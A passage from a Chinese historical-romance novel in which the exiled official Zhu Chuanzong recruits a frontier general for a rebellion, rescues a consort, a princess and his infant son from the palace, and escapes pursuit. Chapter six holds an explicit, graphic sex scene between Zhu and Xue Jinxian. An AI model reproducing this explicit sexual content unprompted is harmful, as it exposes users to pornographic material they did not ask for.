朱传宗连连点头,可是心中想起一事,皱眉道:「我若是在外面造反,庞来孝迁怒于媚妃母子怎么办?我一定得先把她们救出来才行。可是这联络王大哥的事……」
吴思远道:「大人自管前去京城救人,劝说王将军的事就由我代劳好了。」
朱传宗犹豫道:「这起兵之事如同造反,搞不好有杀头之祸。我与王大哥有生死之交,都不一定能劝说得了,先生此去恐怕不容易啊!」
吴思远手捋胡须,胸有成竹地笑道:「山人自有妙计!」
两人筹划已定,让岳可人关了酒店,在家里等候消息。吴思远前往边关,朱传宗则是赶赴京城,各自出发。
威远大将军王定昆这几日一直都是心绪不宁,他和朝廷通缉的罪犯朱传宗本是结拜兄弟,交情非同寻常。自从朱传宗出事之后,他的官位不降反升,如今已经从一品大将军升至边关元帅,统领十万大军。他虽是武将但也很精明,心中反复猜度庞来孝的用意,十分不解。
忽然有人来报,说是有故交来见,心中诧异,便吩咐有请。
等到一见来人,王定昆脸色一变,站起身来,道:「把他给我绑起来!」
来人正是吴思远。他被左右兵丁扭住胳膊捆了起来,却一点也不惊慌,仍是昂然而立,面带微笑。
王定昆厉声道:「大胆反贼,明明是朱家的同党,居然敢冒认本将军的旧识。明日本将军就派人把你押送到京城去!」
说完故意凶狠地盯着吴思远。
吴思远突然哈哈一阵大笑。
王定昆喝道:「你死到临头,还笑什么?」
吴思远大声道:「我笑大将军大祸将至,还不自知呢!」
这句话正说到王定昆的心坎。他与朱传宗的交情人尽皆知,要说庞来孝不嫉恨他,他自己都不相信。因此朝廷越是升他的官,他越担心,不知道哪天就要获罪。他想了想,道:「你们都下去吧,我要亲自审问此人。」
等到手下都退了出去,王定昆急忙上前解开了吴思远的绳子,施礼道:「吴先生,形势所迫,多有得罪了!」
原来王定昆在京城与朱传宗交往的时候,也曾拜见过吴思远。他知道吴思远是个有学问的人,算得上是朱传宗的半个老师,因此也是十分敬重。不过现在朱传宗是朝廷钦犯,与他沾上关系的人都受到庞来孝的猜忌迫害,王定昆也不敢大意。
故此他一开始做出疾言厉色的姿态,既是做给外人看,也有试探吴思远的意思。他的这些心思吴思远自然心里有数,微微一笑,也没有什么不满之意。
两人寒暄了几句。王定昆有些小心地试探道:「吴先生不远千里来到边关,不知有何指教?」
吴思远道:「正是方才所说。将军大祸就在眼前,特地前来相救。」
王定昆不动声色地笑道:「先生真会开玩笑。我现在官运亨通,春风得意,哪来什么大祸呢?」
吴思远有些高深莫测地看了他一眼,笑道:「大将军是真的明白还是装糊涂呢?将军与我家朱大人的关系,那是不用说了。朱大人跟庞来孝乃是死敌,现在朝廷上庞来孝专权,跟朱家沾上点边的人都倒楣,将军还梦想着能独善其身吗?」
王定昆嘴硬道:「朱传宗跟我虽是兄弟,他犯的罪可是跟我没有一点关系。」
吴思远嘿嘿一笑道:「将军跟我说可没用,你想这些话庞来孝会信吗?」
王定昆一时呆住,说不出话来。吴思远知道他心中已经动摇,趁热打铁道:「庞来孝早就已经开始着手对付将军了,将军再不觉察,到时候后悔就来不及了。」
王定昆怔道:「我最近一直升官,他怎么对付我?」
吴思远笑道:「论带兵打仗,将军是天下无敌;论到权谋,可就远远不是庞来孝的对手了。将军现在一日三迁,已经是从一品威远大将军,再升官就要上调京师,封侯拜将,进京任职了。到时候你手无兵权,到了庞来孝的地盘上,要杀要剐,岂不都是他说了算?」
王定昆如梦方醒,不禁吓出了一身冷汗,心中大骂庞来孝的狠毒狡诈。不过要他马上翻脸跟庞来孝作对,他还是下不了决心。
吴思远又道:「如今我家大人正要联络仁人志士,诛除庞贼,恢复朝廷清明。大将军若是能出兵相助,定然是盖世功业,将来青史留名也不在话下。」
王定昆本来已经确信庞来孝是要谋害自己了,可是一听朱传宗要造反,心里又有些怀疑了。心想:「吴思远是不是在危言耸听,好逼我起兵呢?我虽然手下有十万军队,可大梁国的军队一共有一百来万啊,只凭我这点人马,不是拿鸡蛋碰石头吗?」
他想到此处,带着歉意道:「吴先生,不是我不肯帮我兄弟的忙,只是他要做的可是大逆不道的事。名不正,言不顺,我跟他交情虽深,也不能陪着他造反啊。」
吴思远眼珠一转,突然一拍脑门,假装懊悔道:「真是对不住将军了。我来之前,已经吩咐手下,把消息传了出去,就说将军已经决心跟朱大人一起讨伐庞贼了。估计过不了几日,这消息也会传到庞来孝耳朵里去啦。」
王定昆听得脸色时青时白,半天说不出话来,最后指着吴思远道:「吴先生,你太毒了吧,你这不是逼我吗?」
吴思远哈哈大笑道:「我这是在送功劳给将军,将来你非感激我不可。」
说着便掏出那份密旨来,道:「朱大人起兵也是师出有名,皇上圣旨在此,那还不是从者云集?将军别再犹豫了,早下决定吧!」
王定昆看了圣旨,心里总算踏实了些。他知道自己已经没了退路,就算不干,吴思远这样造谣下去,庞来孝也不会放过他了,与其束手待毙,不如奋起一搏!
想到这里,王定昆咬了咬牙,拔出配剑来,一剑将木案砍成两段,狠狠道:「他妈的,老子反就反了!」
王定昆既然下定了决心,就不再迟疑,马上开始布置,先找了自己的心腹将领孙虎和周义来商议。
两人听了经过。孙虎大笑道:「他娘的,我早就看庞来孝那个老奸臣不顺眼了。现在惹到咱们头上来,正好杀到京城去,砍下他的脑袋当尿壶!」
周义虽然稍微迟疑了一下,不过也随即道:「我们都听大哥的。」
三人商定之后,就开始囤积粮草,训练士卒,又把各级军官都换成自己的心腹,十万大军都牢牢控制在手里。就等着朱传宗从京城回来,就起兵造反,杀奔京城。
第六章回京救人
朱传宗变身为胖子潜回京城,直接回到薛金线住的别院。原来朱传宗出事以后,朱家全家被贬出京城,薛金线是汤治的义妹,又按照吴思远的计策,假意与朱传宗断绝关系,而且她是外宅,算不得什么威胁,因此没有受到株连,还是留在京城生活。庞来孝看她只是个弱女子,也就没有在意。
朱传宗避开街上的耳目,悄悄翻墙进家中。此时薛金线正坐在院子看书,只见她斜倚在一张藤椅上,娇躯上曲线玲珑,引人遐思。虽然盯着一卷书看,却有些心不在焉的神态,偶尔发出几声叹息,脸上也是憔悴了许多。
朱传宗散去气功,变回本来模样,来到薛金线身后,猛然一把抱住她道:「娘子,相公来陪你啦!」
薛金线吓了一跳,正想反抗呼救,又觉声音有几分熟悉,回头一看,竟是朝思暮想的相公回来,不禁又惊又喜,身子也软了下来。
朱传宗与她分别一年多,也是日日想念。现在抱在怀中,只觉得柔软如绵,幽香沁脾,哪还忍得住,一把抱起来,就向内室走去。
薛金线羞得满脸通红,低声道:「相公,你怎么这么快就跑回来了?现在风声很紧……」
朱传宗笑道:「怕什么?身正不怕影歪,我正是来铲奸除魔的。」
一到内室,关上房门,朱传宗就不老实起来。薛金线久旷之身,想起以前的旖旎时光,身子顿时也热了起来。她强忍着春意,道:「相公既然回来了,也不差这一时半刻,还是先讲讲别来之事……」
朱传宗见她端庄绝美的脸上满是晕红媚意,明明想要却还强撑着想找话题拖延,那神情真是娇柔可爱。不由心动,一口含住朱唇,将滑腻甜美的香舌噙住,细细咂弄,又把手探进小衣中,来回抚摩。
薛金线娇弱无力顺势倒在他的怀中,俏眼乜斜,见眼前人风流俊雅,仪表超群,正是梦里相会无数次的郎君真的回来了,不觉意荡神迷,口中喃喃道:「相公,你终于回来了。妾身久未受相公宠爱,还请多多怜惜。」
燕语莺声,娇喘花息。
朱传宗闻罢欲火更是上扬,趁势推倒薛金线,薛金线柔软无骨任他摆布,朱传宗急切切地解开她的绣衣,露出一双酥乳,粉团儿相似,一点点猩红乳头煞是可爱。
朱传宗大嘴亲吻上去,同时伸手摸她下体,那里光油油两旁丰满无比,嫩毫数根,长仅寸许,将一指头挖进,艰忍不可进。
朱传宗爽快之下,褪尽衫裤,爬到薛金线嫩白腹上,肉棒早已坚挺紫涨,忙将薛金线两只脚高高推起,照准玉门,便用力一顶,怎奈穴内十分肉紧,仅进寸许,薛金线在下面咿呀叫出声,觉得玉穴里面辣烘烘十分紧张,只得颦眉忍耐由着朱传宗。
朱传宗知道她是许久不行房事,故而艰涩如处子,心中更是爱怜。奈何自己心急如焚,于是也不顾生热,弄了好一会儿,方得曲折尽根,顿觉递体生津,魂魄荡摇,稍稍研磨,愈加紧浅,徐徐抽送,享尽快意。
薛金线这时也是大觉欢畅,情动兴发,淫液自流,自比先前爽快,任朱传宗极力抽送。朱传宗愈加高兴,只觉蜜穴中渐宽,狂抽猛插如雨打芭蕉一般。
薛金线倍加爽快,臀儿搧摆不停,双手紧勾朱传宗脖颈,不觉又被抽送千余下,星眼朦胧,体软肢麻,弄得紧要之时呻吟不绝。朱传宗下下都抵花心,薛金线痒麻难当,泛溢有声,仰承雨露,欢欣倍至。
一时两人雨收云歇,收拾干净,朱传宗见薛金线脸上潮红未退,娇艳无比,尤其是云雨过后那种娇柔神情更是醉人,忍不住又搂在怀里,探过脸去亲吻。
薛金线红着脸嗔道:「枉我夜夜替你担忧,你怎么一点也不怜惜我?晚上别想上我的床了!」
朱传宗笑道:「刚才不知是谁直喊着好相公用力些的,现在竟然埋怨起我来。」
薛金线羞叫不依,朱传宗正待讨饶,却见薛金线脸上渐渐浮起幽怨之色,眼圈也泛红了。他知道薛金线受他连累,又挂念自己,日子过得十分辛苦,心中怜惜,连忙加意抚慰。
薛金线道:「相公逃出京城之后,我看见四处贴满了抓捕你的公文,惟恐你逃不出庞来孝的毒手,心里担心得要死。后来吴先生告诉我早已经为你安排了退路,才安了些心。你这一年是怎么过的?」
朱传宗讲了逃亡之后,与岳可人一起隐居的经过。薛金线听见朱传宗受了这么多苦,心中一阵难过。
朱传宗不想她伤心,忙问:「你以前担心我会遭逢大难,不肯嫁入我家,还真让你说中了。我走了以后,庞来孝有没有难为你?媚妃和公主在宫中可好?」
薛金线道:「皇上一直对我们多有维护,也没有什么人来找麻烦。不过我听说最近庞来孝常去纠缠公主,想要娶公主为妻。皇上已渐渐失去权力,也没办法阻止。我们正在着急,幸好你回来了。」
朱传宗听了不禁大怒,骂道:「庞来孝这个老贼,也不照照镜子,胖得跟猪一样,居然敢打公主的主意,真是好不要脸!」
薛金线听了忍不住噗哧一笑。她本来眼角还挂着泪痕,这一笑如梨花带雨,娇媚醉人。朱传宗看得一呆,问道:「娘子笑什么?」
薛金线道:「听说你以前就是个大胖子,占了那么多美人,也没见你不好意思啊!」
朱传宗想逗娘子开心,故意挺胸道:「我怎么一样?我文武双全,英雄盖世,那是外表也掩盖不了的啊!」
薛金线笑得花枝乱颤,道:「是,大英雄!那请问英雄怎么救我两个姊妹出来?」
朱传宗道:「我得先想办法混进宫去,看情况再说。」
薛金线想了想道:「前些天皇后托我帮忙绣了几件衣服,正好要送进宫去。不如你扮成替我送衣服的工人,也不容易引起庞来孝的疑心。」
朱传宗点头称好。两人计划了半日,晚上又是一夜云雨,以慰相思之苦,自不必说。
到了第二天,朱传宗打扮成送衣的工人来到皇宫。守卫见是为皇后办差的,也不敢为难,通报了一声,就有制衣坊的太监出来,带朱传宗进去。
那太监将朱传宗领到一个院子前,让朱传宗自己进去领工钱,他拿着衣服送到皇后宫里。朱传宗唯唯诺诺地应着,等太监走远,马上绕进旁边的小路,往后面走去。
朱传宗以前虽然常进皇宫,但是只是去过媚妃和紫纱仙子的住处,而且都有人带路。皇宫占地百顷,宫殿房屋数不胜数,他走了一会儿,竟然迷路了。
朱传宗暗暗着急,只顾着东张西望地找路,连远处走过一队侍卫来也没发现。那群侍卫见一人穿着平民的衣服在宫里乱闯,连忙把朱传宗围了起来,喝问道:「你是什么人?」
朱传宗吓了一跳,心中一转,忙道:「小人奉命送衣服进宫,不小心迷路了。」
那为首的侍卫打量了朱传宗一眼,脸色突然一变,道:「我看你像是个偷东西的贼人,来人,把他给我抓起来!」
众侍卫一拥而上,也不听朱传宗的辩解,就把他捆绑起来,押进了一间牢房。
朱传宗虽然身有武功,可也不敢反抗,只能暗叫倒楣,想到身分若是被揭穿,不但救不了人,宫外的薛金线也要受连累,心中不禁又急又气。
过了一会儿,那个下令抓他的侍卫头领独自走了进来,大声道:「你是不是来宫里偷东西的?还不快招!」
朱传宗还没答话,那人又小声道,「朱大人别出声,看看还认识我吗?」
朱传宗微微吃惊,仔细看了几眼,道:「你是刘桐?」
原来这人正是当初奉了汤治的命令,把朱传宗打扮成和尚,送出京城的那位汤治的心腹侍卫。
刘桐点了点头,大声骂道:「还不认?我关你几天,看你招不招!」
随即小声道,「刚才身边有庞来孝的耳目,我怕大人被认出来,只好先把大人抓起来加以保护。晚上我就来救大人出去。」
说完又大声呵斥了几句,满面怒容地出去了。
朱传宗这才放下心来,但心中更是吃惊,没想到庞来孝的权势大到这个地步,连皇宫都被他控制了,不禁更为朝廷担忧。
到了半夜时分,牢门响了几声后,被轻轻推开,走进一个人来。朱传宗以为是刘桐来救他,抬头一看,却是个不认识的中年太监,不禁一愣。
那太监低声道:「朱大人,请跟我来,趁现在没人,你快点逃吧!」
朱传宗以为他是刘大人派来的,便跟在他身后,悄悄出了牢房。哪知道刚出门口,突然一道明晃晃的刀光闪动,一人喝道:「把朱大人留下。」
那太监被吓的魂不附体,一下子瘫坐在地上。朱传宗借着月光一看,原来是刘桐,忙道:「刘桐别伤他,是自己人。」
刘桐这才住手。朱传宗跟他说了几句,两人齐向那太监看去。
那太监这才爬起身来,说出缘由。原来这人有个弟弟在京城经商,前几年因为得罪了官员,吃了官司。那个案子恰巧由朱传宗主审,朱传宗秉公断理,替他弟弟洗清了冤屈,因此他们家都把朱传宗当作大恩人。
这太监现在当值,负责看守皇宫的牢房。他以前见过朱传宗进宫,今日见朱传宗被抓,就认了出来,因此半夜偷跑来放朱传宗出去。
刘桐听了不禁啧啧称奇,感叹朱传宗好人有好报。朱传宗向那太监道谢了一番,便让他去了。
两人到了安全的地方后,刘桐道:「朱大人,您现在是千金之躯,担负着朝廷的希望。皇上日夜盼望您起兵推翻庞来孝,恢复皇家的威严,怎么您这么不爱惜自己,竟到宫中来涉险呢?」
朱传宗也不隐瞒,把媚妃和公主的事说了。刘桐是汤治的心腹,这些皇家秘密都清楚,也不觉得奇怪。想了想道:「现在宫中忠于皇上的侍卫已经不多了,全都由我统领,但都被庞来孝派人监视着,现在确实顾及不到媚妃娘娘和公主殿下的安全。只是大人救她们出去以后,一定要尽快起兵救驾,皇上的地位现在岌岌可危,庞来孝随时都有可能篡位。」
说着便派了几名忠心的手下,分别去媚妃和常乐公主的居所,秘密将她们接来。
朱传宗听说汤治现在处境如此险恶,不知道情况怎么样,又想跟他商量一下对付庞来孝的事,道:「刘桐,能不能安排我见皇上一面?」
刘桐为难道:「皇上现在身边全是庞来孝安插的亲信,行动不自由,要单独见你恐怕很难。」
这时天色朦胧,已是四更左右,刘桐犹豫了一下,道:「皇上马上要上早朝了。不如您跟我到宫门等着,远远的看一眼吧!」
于是两人悄悄来到宫门,没多久便见汤治坐着御辇,被一队侍卫和太监簇拥着从后宫出来。到了宫门口,汤治看了周围一眼,骂道:「你们这帮奴才,在后宫里烦朕还不够!朕现在要去上朝,你们都给我滚开!」
周围几个太监虽口中应着,却一步不离地跟着。汤治叹了口气,怒冲冲地走了。
刘桐道:「朱大人您看,那些都是庞来孝派来监视皇上的人,现在连皇上的旨意都不听了。」
朱传宗远远看去,见汤治比一年前仿佛老了十几岁,当初的意气风发也不见了,不禁动了恻隐之心,也是暗暗感叹。
两人没机会跟汤治交谈,只好又悄悄回到后宫。这时侍卫已经将媚妃和公主接了过来。媚妃身穿青色撒花洋褶裙,披着大红棉氅,怀里抱着襁褓;常乐公主穿着雪白的棉纱裙。两人虽然都有些清瘦,但难掩绝世姿容,媚妃脸上更有一股成熟的风韵。
两人见到朱传宗,都忍不住流下泪来。朱传宗往襁褓中看去,里面熟睡着一个小小的婴孩,胎毛未褪,小脸粉红圆润,十分的精致可爱。他知道这是媚妃替自己生的孩子,心中激动万分。但是脸上却不好表露出来,只是两眼盯着,舍不得离开。
刘桐道:「事不宜迟,朱大人速速动身离京吧。」
他早已命人备好了马车,朱传宗几人上了马车,从宫中的后门秘密离去。
另一方面,薛金线也早已准备妥当,在家里等候,薛宏举早在前日就已经先行离开京城。朱传宗将薛金线也接上马车,一路朝着京城北门而去。
走没多远,街上突然一阵大乱,人喊马嘶,无数的兵丁蜂拥而出。朱传宗一惊,连忙快马加鞭跑到城门口,只见一人领着兵丁,在城楼上守门,拦住了去路。
跑到跟前,一个兵丁上来盘问。朱传宗心生一计,大喝道:「瞎眼的奴才,我们是宫里的侍卫,要出京去办皇差。耽误了大事,你赔罪得起吗?还不快闪开!」
他们这马车上有宫里的标志,那兵丁果然被吓住,不敢上前。那领兵的军官走上前来,看见朱传宗,突然一笑。
朱传宗一看,心中吃惊,一时说不出话来。这军官是谁?正是朱传宗当初的酒肉朋友之一,赵束省!
原来朱家倒台之后,跟朱家交好的大臣大多受到牵连,抄家的抄家,罢官的罢官。赵束省的父亲礼部尚书赵显近却是见机得快,早早向庞来孝讨好,加入了庞来孝的党羽,赵家也因此得以幸免。而赵束省在父亲的安排下,当上了城卫军的将军,今日正好守卫北门。
朱传宗心中忐忑,不知道这个昔日的朋友会不会拿自己去换取富贵。
赵束省笑了几声,道:「这不是宫里的吴侍卫吗?既然有要事在身,这就放行!」
朝朱传宗笑着眨了眨眼,又指了指西方,大声道:「听说今天有反贼从城里逃出,怕是要往东边跑,吴大人可小心别碰上了!」
转身一挥手,放朱传宗的马车过去了。
朱传宗松了口气,心想:「没想到赵束省这小子还真讲义气。要是被庞来孝知道,他恐怕会有大祸了。」
他一直只把王宗营和赵束省两人当成酒肉朋友,而且这两个人不学无术,又喜欢喝酒嫖妓,朱传宗心里有些看不起他们。没想到在关键时候,竟是救了自己一命的人。他朝赵束省拱了拱手,急忙走了。
过了半晌,又有一队骑兵赶了过来。领头的将军见北门防守得十分严密,点了点头,向赵束省问道:「赵大人,方才有没有可疑人等从北门出去?」
赵束省道:「有一辆马车,出门往东跑了。」
那将军忙带着人追了出去。
朱传宗按照赵束省所指,出了城门直往西走,连赶了数十里路。等到马已经疲累至极,这才渐渐放慢速度。
朱传宗见危险已过,心思稍定,便再也忍不住,探进身来看自己的娇妻和儿子。
小婴孩被马车颠簸,已经醒了过来,举着两只粉团一样的小拳头,瞪圆眼珠四处乱看。朱传宗刚想伸手去抱,小孩突然哭了起来,吓得朱传宗把手缩了回去。媚妃白了他一眼道:「儿子一点都不喜欢你,你快躲远点。」
解开衣襟来,露出雪白挺拔的玉乳,小孩儿哭声顿止,含住饱满的乳头,心满意足地吃起来。
朱传宗讪讪道:「儿子不是不喜欢我,明明是因为饿了嘛!」
盯着媚妃那温润如玉的酥胸,两眼放光。常乐公主不由冷哼了一声。
朱传宗不敢怠慢,赶忙赔笑道:「喜儿,是我不好,让你受委屈了。」
常乐公主红着眼圈道:「我有皇兄护着,能受什么委屈?倒是你,一走就是一年,也不送个信回来,我们都不知道你是吉是凶。」
说着就开始流泪。
薛金线知道公主最是心软爱哭,有心叉开话题道:「公主,我听说庞来孝向皇上提亲想要娶你,有没有此事?」
常乐公主脸一红,点了点头,道:「父皇驾崩以后,那老贼就总是找机会来纠缠。他说在我十岁的时候,他曾在宫中见过我一面,就对我念念不忘。只是以前害怕父皇,一直不敢表示,现在终于有了机会,所以一定要娶我不可。」
朱传宗忍不住破口大骂了一番。
这时小孩吃饱了奶,又呼呼睡着。朱传宗拿手指摸了摸他的小脸,突然想起来,问道:「孩子起名字了吗?」
媚妃道:「他是皇子的身分,本来出生前就应该由宗人府按照皇室的玉堞撰起名字。不过因为我被打入冷宫,庞来孝又横加阻挠,所以到现在还没起。其实,我也是想等你这个当爹的给起个名字呢。」
媚妃说到此处,突然脸上满是笑意,道:「不过,倒是起了小名,又顺口又吉利,大家都说好。」
薛金线和紫纱仙子显然早已知道,也是一边点头一边直笑。
朱传宗道:「哦?起的什么小名儿?」
媚妃笑道:「宝儿!」
朱传宗叫道:「什么?他怎么能叫他爹我的小名?这,这……」
媚妃嗔道:「宝儿这名字很稀罕吗?京城里叫这名字的小孩儿没有一千,也有八百,凭什么你可以叫,我儿子就不可以叫了?」
她这边轻嗔薄怒,一边还扭动腰肢,顿时波浪翻滚,媚意撩人,朱传宗被迷得心旷神摇,连道:「可以叫,可以叫!」
媚妃大是得意,突然眼珠一转,亲了儿子一口,娇笑道:「这还差不多!宝儿真乖,娘疼你!」
薛金线和公主也道:「宝儿笑一个,快叫阿姨。」
三人都是大觉有趣,一边逗着婴儿开心,一边眼睛却是瞟着朱传宗。一时间朱传宗真是哭笑不得。
这时后面突然传来阵阵马蹄声响,看样子有上百骑人马追赶上来。朱传宗拉着几位妻子从马车上下来,钻进路边的树林。临走又在马屁股上狠狠抽了几下,那马吃痛之下,拉着马车沿着大路狂奔而去。
几人才刚进了树林,果然一队人马追至,一刻不停地朝着马车方向追过去了。
等追兵过去,朱传宗有些疑惑道:「咱们做得这么隐秘,宫里也没几个人知道有人逃走,庞来孝最早也该是一两天后才会发现。怎么我们刚出京城就知道,还派人来追拿?真是奇怪!」
常乐公主想了想道:「可能是我的原因。」
说完脸上一红。
朱传宗疑惑地看着她,常乐公主脸更红了,又有些怒意,道:「庞老贼为了讨好我,每天早晨都要派人来探视,肯定是今早发现我不在,这才察觉的。」
几人一听,十有八九就是这个原因。朱传宗不禁大骂庞来孝无耻,连一向端庄的薛金线都忍不住骂了老贼几句。
朱传宗想了想道:「我看那些人追到空马车,肯定会回去报告庞来孝,咱们就等他们回去了再赶路。若能在前面村庄找些农家衣服易容一下,躲避追捕就容易多了。」
在树林里躲了个把时辰,果然那队人马又快马加鞭赶了回来,往京城方向跑去。稍后朱传宗几人从树林出来,沿着路边向前走。哪知道刚走不远,迎面又碰上一小队人马,为首的军官看了看几人,大笑道:「果然不出我所料。你们这金蝉脱壳的计策虽然厉害,还是被我识破了。来人,把他们都给我抓起来!」
第七章逃回边关
朱传宗混进宫中,救走楣妃和常乐公主,本来没有什么破绽,哪知道庞来孝一心想娶常乐公主为妻,特意派人每天察看公主的起居。早晨发现公主不在,顿时惊怒交集,派了禁军大将带兵追赶。
这位将军名叫王景隆,不到三十岁年纪,乃是有名的老将王武的儿子。他自幼熟读兵书,最喜欢跟人谈论兵书战策,辩论起来滔滔不绝,从来没有遇到对手,因此常常自诩为当世第一名将。
他带兵来到北门,向赵束省询问。赵束省骗他说朱传宗他们的马车向东跑了。王景隆出门朝东追了几里,一点马车的踪影也没看到,就命众人停下来,沉思了一会儿,大叹道:「上当了!」
吩咐原路回去,向西追。
手下问道:「是不是赵束省说谎了?」
王景隆道:「那倒不是。此乃兵书上的一条,名叫声东击西之计。贼人先向东逃了一段,造成假象,又朝西逃。若不是我兵法高超,就要上当了。」
果然朝西追了半天,远远望见了马车。手下叹服不已,阿谀奉承不止。
好不容易追上马车,里面竟然空无一人。王景隆一拍大腿,道:「贼人真是太高明了。这是金蝉脱壳之计啊!厉害,厉害!」
手下又是不解,王景隆便道:「这贼人狡猾得很啊!他把空马车赶往西边,吸引咱们的注意力,其实自己往东边逃了。」
手下们听他一会东一会西,被一大堆兵法说得晕头转向,只知道顺着他的话大拍马屁。王景隆又想了半天,才抽出了一小队人马道:「你们顺原路回去向东追,我先将这辆马车带回去。」
手下领命去了。
王景隆带着剩下的人赶着马车慢慢往回走,一边走一边盘算:「我已经识破了贼人的诡计,派他们向东追,要是追不到,那责任自然是他们承担。要是抓到了,那自然是我的功劳。」
越想越是得意。
也算朱传宗倒楣,看见先前的人马,以为追兵都回去了,这才走出来。哪知道迎面却碰上了王景隆。王景隆见天上掉下来个大馅饼,大笑道:「这下看你们往哪跑?」
命令手下围了上来。
朱传宗赤手空拳,又要保护薛金线几人,情势顿时落在下风。正在危急时,突然从路边跳出一群人来,手拿兵器,都用布帕蒙着脸,上前跟官兵大战起来。
这群蒙面人武功十分高强,一开始便打了王景隆一个措手不及。不过王景隆的手下全都是禁军的精锐,训练有素,因此过没多久,蒙面人也渐渐招架不住。
王景隆一边督促手下往前冲杀,一边命令:「都围住,一个也不许放过!」
正心想今天立了个大功劳,不知道回去丞相会有什么奖赏。突然一声呼哨,路边林子里又冲出一票人来。
王景隆顿时冒出冷汗,心道:「这贼人到底有多少埋伏啊,怎么出来个没完?」
新出来这票人马足有五十多人,尤其为首四人极是勇猛。他们一边打一边喊:「兄弟们加把劲啊,咱们的人都把他们包围啦,他们跑不了!」
树林中草木一阵乱晃,看起来埋伏着许多人。
本来这两股马人加在一起也不是官军的对手,但是他们这么一喊,官军就有些胆怯了,顾前不顾后,乱成一团。王景隆一看情况不妙,打马就逃,手下一看主将跑了,谁还留下送死,也跟在后面逃了。
王景隆一边跑,一边偷偷在手臂大腿上划了几刀,把血抹得全身都是。跑回京里就到庞来孝跟前请罪,说是虽然贼人诡计多端,但是自己火眼金睛,一一识破。奈何最后贼人来了大批同伙接应,自己浴血作战,寡不敌众。本想以身殉职,又害怕无人报信耽误了丞相大事,只好拚死突围回来云云。
那些手下害怕担罪,也早就编好了说辞,一致称赞王景隆将军用兵如神,作战勇猛,怪只怪贼人人多势众。言下之意,自己跟着逃跑也是不得已而为之了。
庞来孝听了众人所说,又见王景隆浑身是伤,顿时相信了他的说辞。他虽然是个大奸臣,但是能在官场上呼风唤雨,也不是等闲之辈。他知道手下的党羽都没什么真本事,只是因为贪图富贵,才会为他效力,真到了关键时候,却是派不上什么用场的。如今发现了王景隆这样有本事又忠心不怕死的人才,对他来说那简直是如获至宝。
庞来孝马上假借皇上的名义,替王景隆加官进爵,封他为禁军统领,赏赐他很多金银财宝。王景隆也很机灵,立刻向庞来孝宣誓效忠,一副感激涕零的样子。庞来孝现在文有众党羽把持朝政,武有王景隆统领禁军,只觉得江山尽在我手,要不是出了媚妃和常乐公主被人救走这件事,只怕当下就要篡位了。
当夜,庞来孝就召集心腹来相府,讨论此事。
庞来孝道:「你们看是谁进宫救人的呢?」
一人道:「皇宫守卫森严,又到处是咱们的人,怎么会神不知鬼不觉把人带走呢?我看这恐怕是皇上派人干的。」
另一人道:「皇上身边都有人监视着,他哪有这个能力?不对不对!」
刑部尚书曾怀顺以前是朱传宗的手下,对朱传宗最是惧怕,脸色一变,颤声道:「难道是朱传宗回来了?」
朱传宗以前是震慑官场的利剑,杀死贪官无数,现在虽然倒台,但威名犹在。在场之人都吃过他的亏,一听到这名字心就一抖。再一想,能有本事进皇宫救人,又把追兵耍得团团转,当今世上,恐怕也只有朱传宗这么厉害了。大家越想越觉得肯定,想起朱传传宗的手段,都吓得脸色大变。
庞来孝以前最忌惮朱传宗,但是现在朱家一派的人都被罢官,朱传宗也下落不明,也就渐渐不把他放在心上了。见众人吓成这副样子,不由生气,怒道:「你们这帮废物,朱传宗又不是老虎,能吃了你们吗?」
众人心想,朱传宗可比老虎可怕多了,不过这话可不敢当着庞来孝的面说出来,急忙大表决心,说道朱传宗不过是丞相的手下败将,连丞相的一个脚指头都比不上。丞相乃神仙下凡,天命所归,就差直接跪下喊万岁了。庞来孝这才转怒为喜,又商议起如何谋夺朝政的事来。
且不说庞来孝如何筹划阴谋。再说朱传宗危急时刻被先后两群人所救,惊喜之下,也不禁疑惑,仔细一看,认出那后来的一票人马领头四人时,顿时大喜。
原来正是朱家四仆:王大牛、赵老四、张老五、钱老六。
原来这四人被朱传宗安排了差事,做得倒也不错。可是朱传宗出事以后,便受了牵连,不仅罢官免职,还被四处追缉。
他们本想回家乡重新当农民,可是他们这些年跟着朱传宗,不但长了本事,心也高了,要他们再回去受小吏们的欺压,怕是难以忍受。因此四人商量了一下,干脆做回老本行,找了一座山寨,拉起人马,当了山贼大王。
不过他们知道朱传宗早晚会东山再起,因此也不敢走远,便聚集在离京城不远的山上,平时也是不断打探朱传宗的消息,却一直无所获。今日带了手下出来劫道,正巧遇见朱传宗被人围困,当下就冲了出来。
四人见了朱传宗,大喜过望,全嚷着终于找到少爷了,以后再也不走了。朱传宗听了,也是感动,安慰了几句,又看向旁边那群蒙面人,道:「请问诸位是?」
那些人纷纷把布帕解了下来。朱传宗一看,领头一个白面男子,正是老君教教主水封良。身旁一个五十多岁的妇人,正是当初夜入衙门被抓、水灵儿的师父叶飞飞。不过朱传宗现在可顾不上他们,眼光全盯在第三个人身上。
只见那女子身着一身粉红长裙,手提一柄宝剑,身段窈窕,眉目如画,巧笑言兮地看着自己,可不就是朝思暮想的水灵儿?
朱传宗又惊又喜,走过去抱住她道:「灵儿,能再见到你真是太好了,想死我了!」
水灵儿也是情动,忍不住跟他抱在一起。过了片刻,突然回过神来,红着脸推了推朱传宗道:「快放手,好多人看着呢!」
朱传宗笑道:「不放,相公抱娘子有什么好难为情的?」
水灵儿叹道:「谁是你娘子?我什么时候答应嫁你啦?」
朱传宗看了看旁边微笑的水封良和叶飞飞,笑道:「你义父跟师父都在这里,我现在跟他们提亲,不就行了?」
水封良大笑道:「朱大人文武双全,乃人中之杰,有此佳婿是灵儿的福气啊。我答应了,答应了!」
水灵儿脸更红了,娇声道:「义父,你怎么帮外人欺负我?我不理你们了!」甩了甩手,低头躲到叶飞飞身后。
水灵儿一向英气勃勃,此时突然露出小女儿般的娇羞,更是动人。朱传宗不禁看得呆住了。
水封良笑道:「朱大人,灵儿又跑不掉,慢慢看也不迟。此处不是谈话之地,还是先找个地方详谈吧。」
朱传宗醒过神来,连忙点头称是。
众人找了一间无人的破庙,朱传宗同几女先拜谢老君教众人的救命之恩。
水封良忙道:「朱大人早就对我教有恩,又是为民做主的青天,当朝的忠良,这都是我们应该做的。请起,请起!」
朱传宗站起身来,询问水封良等人来此的缘由。原来水封良一直想在京城传教,但是因为官府查得严,没有什么进展。后来朱家倒台,庞来孝专权,老君教的人本着为民除害的宗旨,便一直潜伏在京城里,暗地里跟奸臣作对。他们在宫里也有耳目,听说媚妃和公主被人救走了,城里大乱,便跟了出来,想看看究竟,没想到正好救了朱传宗几人。
朱传宗暗自庆幸真是天意,转眼又看向水灵儿,问道:「灵儿,你这一年也在京城?你过的好吗?」
